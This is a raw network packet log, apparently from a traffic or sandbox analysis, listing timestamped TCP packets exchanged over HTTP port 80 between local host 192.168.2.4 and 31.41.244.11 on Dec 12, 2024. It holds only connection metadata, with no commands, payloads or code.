Dec 12, 2024 14:26:37.718389988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.718410015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.718461990 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.719361067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.719443083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.719686031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.719733000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.720453978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.720587015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.720633984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.720633984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.721549988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.721637964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.721688986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.721688986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.722842932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.722855091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.722912073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.723849058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.723917961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.723942041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.724023104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.724701881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.724756956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.724767923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.724865913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.725632906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.725722075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.725737095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.725781918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.726708889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.726803064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.726850986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.726850986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.727691889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.727747917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.728085995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.728135109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.728748083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.728825092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.728867054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.728867054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.729722023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.729819059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.729829073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.729880095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.730845928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.730914116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.730953932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.731153011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.731864929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.731898069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.731945992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.731945992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.732793093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.732853889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.732893944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.733058929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.733897924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.733935118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.733971119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.734057903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.734714985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.734769106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.734854937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.735018015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.735874891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.735941887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.735977888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.735977888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.736670971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.736756086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.736774921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.736821890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.737612009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.737696886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.737719059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.737765074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.738570929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.738643885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.738682032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.738810062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.739526033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.739634991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.739655972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.739701033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.740479946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.740539074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.740581036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.740670919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.741437912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.741528988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.741600037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.741600037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.742357016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.742449999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.742480040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.742635965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.743299007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.743352890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.743436098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.743484974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.744226933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.744371891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.744455099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.744507074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.745198011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.745310068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.745338917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.745414019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.746099949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.746153116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.746174097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.746387005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.747018099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.747076988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.747145891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.747205973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.748001099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.748065948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.748106956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.748161077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.749191999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.749203920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.749264002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.750299931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.750368118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.750370026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.750422955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.751038074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.751090050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.751096964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.751131058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.751949072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.752012014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.752036095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.752212048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.752736092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.752810955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.752832890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.752918959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.753514051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.753667116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.753696918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.753745079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.754307985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.754467010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.754497051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.754548073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.755131960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.755264997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.755306959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.755361080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.756268978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.756330967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.756464958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.756520987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.757282019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.757294893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.757390976 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.758407116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.758470058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.758593082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.758651018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.759130001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.759187937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.759269953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.759334087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.760051966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.760106087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.760169029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.760411978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.760915041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.760929108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.760974884 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.761789083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.761801004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.761914968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.762213945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.762373924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.903433084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.903465986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.903609037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.903633118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.903660059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.903810024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.903878927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.903896093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.903908968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.903975964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.903975964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.904608011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.904619932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.904700041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.904751062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.904751062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.905376911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.905443907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.905456066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.905472040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.905585051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.906131029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.906193018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.906199932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.906212091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.906261921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.906923056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.907006979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.907020092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.907064915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.907064915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.907716036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.907764912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.907778025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.907799006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.907833099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.907833099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.908494949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.908552885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.908562899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.908576012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.908617973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.909281015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.909339905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.909348965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.909352064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.909385920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.909645081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.910146952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.910219908 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.910233974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.910238028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.910273075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.910295010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.910851955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.910917044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.910928011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.910960913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.910960913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.911037922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.911642075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.911720037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.911751986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.911765099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.911820889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.911820889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.912460089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.912539005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.912550926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.912586927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.912586927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.913367987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.913419962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.913424969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.913439989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.913476944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.913553953 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.914191961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.914239883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.914252043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.914288998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.914288998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.914910078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.914994001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.915004969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.915029049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.915029049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.915052891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.915724993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.915817022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.915837049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.915848970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.915895939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.915895939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.916821003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.916871071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.916945934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.916958094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.916987896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.917038918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.917625904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.917670012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.917681932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.917709112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.917709112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.917870045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.918827057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.918915033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.919056892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.919070005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.919104099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.920126915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.920172930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.920183897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.920212984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.920212984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.920258045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.920721054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.920836926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.920850039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.920856953 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.920871973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.920998096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.921467066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.921516895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.921547890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.921575069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.921612024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.921612024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.922157049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.922246933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.922403097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.922442913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.922465086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.922477007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.922509909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.922528028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.923019886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.923068047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.923099041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.923111916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.923141003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.923218966 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.923985958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.924046993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.924051046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.924060106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.924097061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.924134970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.924603939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.924650908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.924686909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.924701929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.924767017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.924767017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.925350904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.925401926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.925476074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.925489902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.925518990 CET	49837	80	192.168.2.4	31.41.244.11
